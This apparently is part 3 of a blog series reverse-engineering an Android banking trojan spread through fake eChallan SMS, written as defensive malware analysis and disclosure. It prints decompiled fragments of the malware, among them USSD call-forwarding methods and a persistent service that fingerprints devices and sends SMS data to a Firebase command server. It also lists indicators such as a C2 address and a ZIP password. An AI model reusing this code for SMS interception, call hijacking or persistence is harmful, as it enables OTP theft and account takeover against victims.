Skip to main content

Command Palette

Search for a command to run...

I Found the Live C2 Server Controlling Thousands of Infected Devices

Part 3 of the eChallan malware walkthrough series. Part 1 covered the dropper/loader. Part 2 covered the Flask C2 and the media player payload that wasn't one.

Updated
11 min readView as Markdown

If you've been following along, here's where we are: a spam SMS dropped an APK, the APK was a dropper that XOR-decrypted a multi-DEX container, HMAC-validated it, AES-decrypted it, and loaded the resulting DEX files directly into memory. Stage 2 was a fake media player with a Flask C2 in Germany, a three-step download chain, and a password-protected ZIP containing Stage 3. Stage 3 was structurally identical to Stage 1, same dropper-as-a-service skeleton, and it extracted Stage 4.

Stage 4 is what I'm going to pick apart today. It's the final boss, and it's the one that actually does the damage. It also had a surprise waiting for me that I didn't expect to find.


Plain class names, new cipher for the strings

The first thing that surprised me when I opened Stage 4 in JADX was how readable the class names were. After three stages of obfuscated everything, I was expecting more of the same. Instead:

AdminInfo, SmsHelper, TelegramBotUtils, callForwardingUtility more or less announce what they do. WallpaperUploader is the exception; whatever it was supposed to do, it's empty. More on that later.

The presence of SketchApplication, SketchLogger, and SketchwareUtil is the other thing worth noting upfront. Sketchware is a visual drag-and-drop editor for building Android apps. Someone built a banking trojan in a drag-and-drop IDE. I'll let that sink in.


Cracking the new obfuscation: StringFog

The class names were readable, but the strings inside them weren't. The author switched obfuscation libraries between the loader stages and Stage 4. This time it's StringFog, an off-the-shelf library that encrypts string literals at compile time and decrypts them at runtime.

I noticed this the moment I opened AdminInfo. Instead of raw string literals, every string was a call into StringFogImpl. Opening that class gave me the implementation.

The outer layer is a short[] array (call it f928short) with thousands of entries. Each string is encoded as an offset, length, and XOR key into that array. Decoding a short-array entry gives you a base64 ciphertext. That ciphertext is then passed to the inner StringFog XOR function, which decodes the base64 and XORs each byte against the key "UTF-8" (yes, the literal string UTF-8, recovered from StringFogImpl's own f928short).

Two layers, both XOR, different keys. The chain is: short_decryptor(offset, length, xor_key) produces a base64 ciphertext, which then goes into stringfog_decrypt(ciphertext, "UTF-8") to produce plaintext.

I updated my decryption script to chain both:

import base64
import sys

short_array = [
    # redacted for brevity
]

def xor(byte_array, string):
    result = bytearray()
    for i in range(len(byte_array)):
        result.append(byte_array[i] ^ ord(string[i % len(string)]))
    return result

def stringfog_decrypt(encrypted_string, stringfog_key):
    base_64_bytes = base64.b64decode(encrypted_string)
    decrypted_bytes = xor(base_64_bytes, stringfog_key)
    return decrypted_bytes.decode("utf-8")

def stringfog_decrypt_wrapper(encrypted_string):
    stringfog_key = "UTF-8"
    return stringfog_decrypt(encrypted_string, stringfog_key)

def short_decryptor(offset, length, xor_key):
    decrypted_bytes = bytearray()
    for i in range(offset, offset + length):
        decrypted_bytes.append(short_array[i] ^ xor_key)
    return decrypted_bytes.decode("utf-8")

if __name__ == "__main__":
    offset = int(sys.argv[1])
    length = int(sys.argv[2])
    xor_key = int(sys.argv[3])
    decrypted_string = short_decryptor(offset, length, xor_key)
    print(stringfog_decrypt_wrapper(decrypted_string))

Instead of hardcoding values and rerunning the script each time, I now pass the offset, length, and XOR key as command-line arguments and decrypt a whole class worth of strings in one sitting. From here on, all strings in this writeup are their decrypted plaintext values.


The account-takeover engine

AdminInfo: the config reader

AdminInfo reads a JSON file bundled in the app's raw resources and extracts Telegram bot tokens and chat IDs from it. This is the actor's operator config, the contact details for wherever exfiltrated data gets sent.

From within the bundled file, I found, in plaintext:

{
  "chatIDs": ["5196<REDACTED>"],
  "tokens": ["6751695148:AAHEY<REDACTED>"],
  "workSuccess": 1
}

The HTML page embedded in the APK's resources told the same story. It masquerades as a legitimate eChallan payment portal: Government of India emblem, Ministry of Road Transport branding, the works.

The flow is: victim enters their full name, mobile number, mother's name, and date of birth (that last pair being classic forgot-password security question answers)

Then the user proceeds to a fake Aadhaar and PAN verification step, is shown a ₹1 payment screen with a mocked UPI interface, enters their UPI PIN, and finally sees a "Transaction Error."

After the error, they're prompted to enter their card details.All of this is exfiltrated to a hardcoded Telegram bot in the page's JavaScript.

The "Challan" is for Re. 1. The ask is your Aadhaar, PAN, UPI PIN, and card number.

TelegramBotUtils: one-way exfil

TelegramBotUtils handles the Telegram side of things. It has all the methods you'd expect for sending messages and device info to a bot, and notably none for receiving. There's no polling, no webhook handler in this class. Telegram is outbound-only here. Commands come from somewhere else entirely.

SmsReceiver and SMSRetriever: the OTP siphon

SmsReceiver registers for two intents: incoming SMS and outgoing SMS sent. When either fires, it logs the sender, message body, and timestamp to Firebase, and also conditionally forwards the message to a number stored in SharedPreferences if the isSmsForward flag is set.

SMSRetrieveris the proactive version. On initialization, it queries the SMS inbox directly, up to 50 messages, filtered against a list of about 29 keywords covering banking terms, OTP-related strings, and financial service names. If a message matches, it gets pushed to Firebase. This is how the actor harvests existing OTPs and balance notifications even before the victim receives a new one.

callForwardingUtility: USSD based call-forwarding

callForwardingUtility is more interesting than I initially expected. I was anticipating a single USSD call to set forwarding and that's it. The actual code is a full three-method interface:

public boolean forwardCall(String str, int i) {
    if (!hasPermission()) {
        Log.e(TAG, StringFogImpl.decrypt(...));
        return false;
    }
    executeUSSD("**21*" + str + "#", i);
    return true;
}

public boolean deactivateCallForwarding(int i) {
    if (!hasPermission()) {
        Log.e(TAG, StringFogImpl.decrypt(...));
        return false;
    }
    executeUSSD("##21#", i);
    return true;
}

public boolean isCallForwardingActive(int i) {
    if (!hasPermission()) {
        Log.e(TAG, StringFogImpl.decrypt(...));
        return false;
    }
    executeUSSD("*#21#", i);
    return true;
}

*21# is the GSM MMI code for unconditional call forwarding. ##21# deactivates it. *#21# queries whether it's currently active. The actor isn't just blindly enabling forwarding and walking away; they can check status and toggle it on and off remotely via the Firebase C2 channel. This is deliberate operational control over a victim's phone line.

It's a silent way of taking over calls without a notification or UI.

Combined with SMS interception, this gives the actor full control of two-factor authentication: OTPs via SMS go to Firebase, voice OTPs go to the forwarded number. Every account recovery path is compromised at once.


The main C2 infrastructure: Firebase (and what I found there)

This is the part I want to spend more time on, because finding an active C2 server with real victim data in it is not something I expected from what started as a curiosity-driven triage.

BatteryLevelReceiver was what tipped me off first. It waits for battery level changes and writes the current level to Firebase. That's a passive heartbeat: a device that just updated its battery level is currently powered on and active. The actor can poll Firebase and get a live map of which infected devices are online right now.

The Firebase credentials (database URL, app ID, API key) are not in the DEX strings. I was used to finding them in strings.xml in the res folder, but they were in res/values/strings.xml inside the decoded resources.arsc. JADX doesn't expose the unpacked resource strings; I had to run apktool d on the APK to get them. I'm not publishing the project identifier here since takedown is pending.

MyService is where the full exfiltration routine lives. Its onCreate fingerprints the device (android ID, model, Android version, SIM info, rooted status), pushes that fingerprint to Firebase under /clients/<device-id>, registers BatteryLevelReceiver, runs SMSRetriever to harvest the inbox, and hands off to callForwardingUtility. It then creates a persistent foreground notification and schedules a repeating alarm every 5 minutes to check if the service is still running.

public class MyService extends Service {
/* Redacted for brevity */
 @Override // android.app.Service
    public void onCreate() {
        super.onCreate();
        this.executorService = Executors.newSingleThreadExecutor();
        try {
            initializeFirebase(this);
            this.deviceInfoUtil = new DeviceInfoUtil(this);
            this.prefs = new SharedPrefManager(this);
            this.smsRetriever = new SMSRetriever(this);
            this.callUtil = new callForwardingUtility(this);
            this.deviceID = Settings.Secure.getString(getContentResolver(), "android_id");
            this.batteryLevelReceiver = new BatteryLevelReceiver();
            registerReceiver(this.batteryLevelReceiver, new IntentFilter("android.intent.action.BATTERY_CHANGED"));
            checkAndRequestPermissions();
            createNotificationChannel();
            startForeground(1, buildPersistentNotification());
            scheduleAlarm(this);
            Log.d(TAG, StringFogImpl.decrypt(C0156.m615(f1692short, 2476, 40, 1746)));
        } catch (Exception e) {
            Log.e(TAG, StringFogImpl.decrypt(C0270.m1053(f1692short, 2516, 36, 878)), e);
            stopSelf();
        }
    }
/* Redacted for brevity */
}

The inbound command channel is a ValueEventListener on /clients/<device-id>/webhookEvents. JADX didn't fully decompile the handler, but the decrypted strings inside it tell enough of the story:

checkLiveness
processResponseData
callForward
CallForwardingNum
Invalid callForward data: 'to' field is null or empty
Incomplete callForward fields. No callForward data found.
smsForward

The actor pushes a command to a device's webhookEvent node in Firebase, and MyService picks it up via the realtime listener. Commands configure call forwarding (passing through to callForwardingUtility), toggle SMS forwarding, and ping devices to check liveness. Firebase is doing double duty: it's both the data exfiltration sink and the command-and-control channel, bidirectional over a single Realtime Database instance.

What I found when I looked

I was prodding the Firebase endpoints to check if the infrastructure was still live. It was. Very much so, with records as recent as July 3rd.

Using the Firebase shallow query API, I pulled just the schema of the stored data without fetching actual values:

{
  "dateTime": true,
  "id": true,
  "message": true,
  "sender": true,
  "type": true
}
{
  "battery": true,
  "status": true
}

The device records from MyService's init code also carry model, androidVersion, android_id, isRooted, serviceProvider, and selfNumber, though the schema is sparse across records since Firebase doesn't enforce one.

As of July 8th 2026: 3,967 device registrations. 4,900 exfiltrated SMS records.

I stopped there. Pulling actual records would have meant reading real victim data, and that's not something I was going to do. I reported to CERT-In, filed a Google Cloud abuse report, and reported the matter to the I4C. The original phishing link was taken down, while the Firebase instance is a matter for Google and the relevant authorities now.


Persistence and stealth

Three receivers make sure MyService never stays dead for long.

BootReceiver fires on BOOT_COMPLETED and starts MyService as a foreground service on Android 8+, with a fallback startService call for older versions.

MultiEventReceiver is the belt-and-suspenders version. It listens for 16 different system events (connectivity changes, power state transitions, time zone changes, and more) and restarts MyService if it's not already running. It also re-arms the 5-minute watchdog alarm.

AlarmReceiver handles those watchdog alarms. Every 5 minutes, it checks if the service is running and starts it if not.

DebugActivity is worth a separate mention. It maps internal crash strings to friendly AlertDialog messages, so if something goes wrong on a victim's device, they see a polished error dialog instead of an Android crash report. It's a surprising customer experience improvement for a banking trojan.


Signs of a rushed build

Two things stood out as unfinished.

WallpaperUploader is empty. The class exists, it's referenced, and it does nothing. Whatever capability was planned there, it wasn't implemented.

C0273 is a cipher class with a fundamental bug. The encryption key is generated with Math.random(), which in Java is not cryptographically random and is not seeded or stored anywhere. Every call produces a different key with no way to reverse the operation. The class is non-functional as written.

Neither of these diminish what the rest of the app does. But together they suggest this was shipped under time pressure.


The full chain, end to end

SMS phishing
  -> echallan-traffic.live/IN (down as of July 5)
  -> ca8818e7_RT0-eChallan.apk (com.uptodown.installer)
  -> Stage 1: XOR + HMAC-SHA256/dg_hmac_v2 + AES-CBC -> multi-DEX loader
  -> Stage 2: com.stream.media.player
             Flask C2 @ 31.77.168.247:5001 (Germany)
             /prepare -> /status -> /fetch
             AES-256 ZIP @ V3nd3tt@S3cur3Z1p!
  -> Stage 3: app.loitx.aknmk (dropper-as-a-service SDK, Stage 1 clone)
  -> Stage 4: dApp.binance.Trading.Signals
             65 DEX, ~13MB, Sketchware build
             StringFog obfuscation (short[] XOR -> base64 -> UTF-8 XOR)
             Firebase RTDB: bidirectional C2 + exfil sink (pending takedown)
             Telegram exfil: 6751695148:AAHEY<REDACTED>
             HTML phishing page (Aadhaar, PAN, UPI PIN, card details)
             SMS interception + inbox harvest (50 msgs, 29 keywords)
             Call forwarding via **21*<number># with remote toggle

IOCs

# Stage 4 package
Package:              dApp.binance.Trading.Signals
Build tool:           Sketchware
Obfuscation:          megatronking/StringFog
StringFog key:        UTF-8

# Firebase (project identifier withheld pending takedown)
DB path (devices):    /clients/<device-id>/
DB path (commands):   /clients/<device-id>/webhookEvent
DB path (SMS):        /messages/<device-id>/<timestamp>/

# Telegram (Stage 4 AdminInfo)
Token:                6751695148:AAHE<REDACTED>
Chat ID:              5196<REDACTED> (individual)

# Telegram (phishing page HTML)
Token:                8614832729:AAFu-<REDACTED>
Chat ID:              -10038<REDACTED> (group)

If you got an SMS about an outstanding RTO challan with a download link, report it at cybercrime.gov.in.

Not (a) Fine

Part 3 of 3

A ground up investigation into a real smishing campaign targeting users through a fake MoRTH eChallan notification. What starts as a suspicious SMS turns into a four-stage dropper framework: custom encryption, bulletproof C2 infrastructure, VPN traffic interception and a final banking trojan payload. Every layer, reverse engineered.

Start from the beginning

The Spam SMS that turned into a rabbit hole

I was supposed to be building an Android app, ended up taking one apart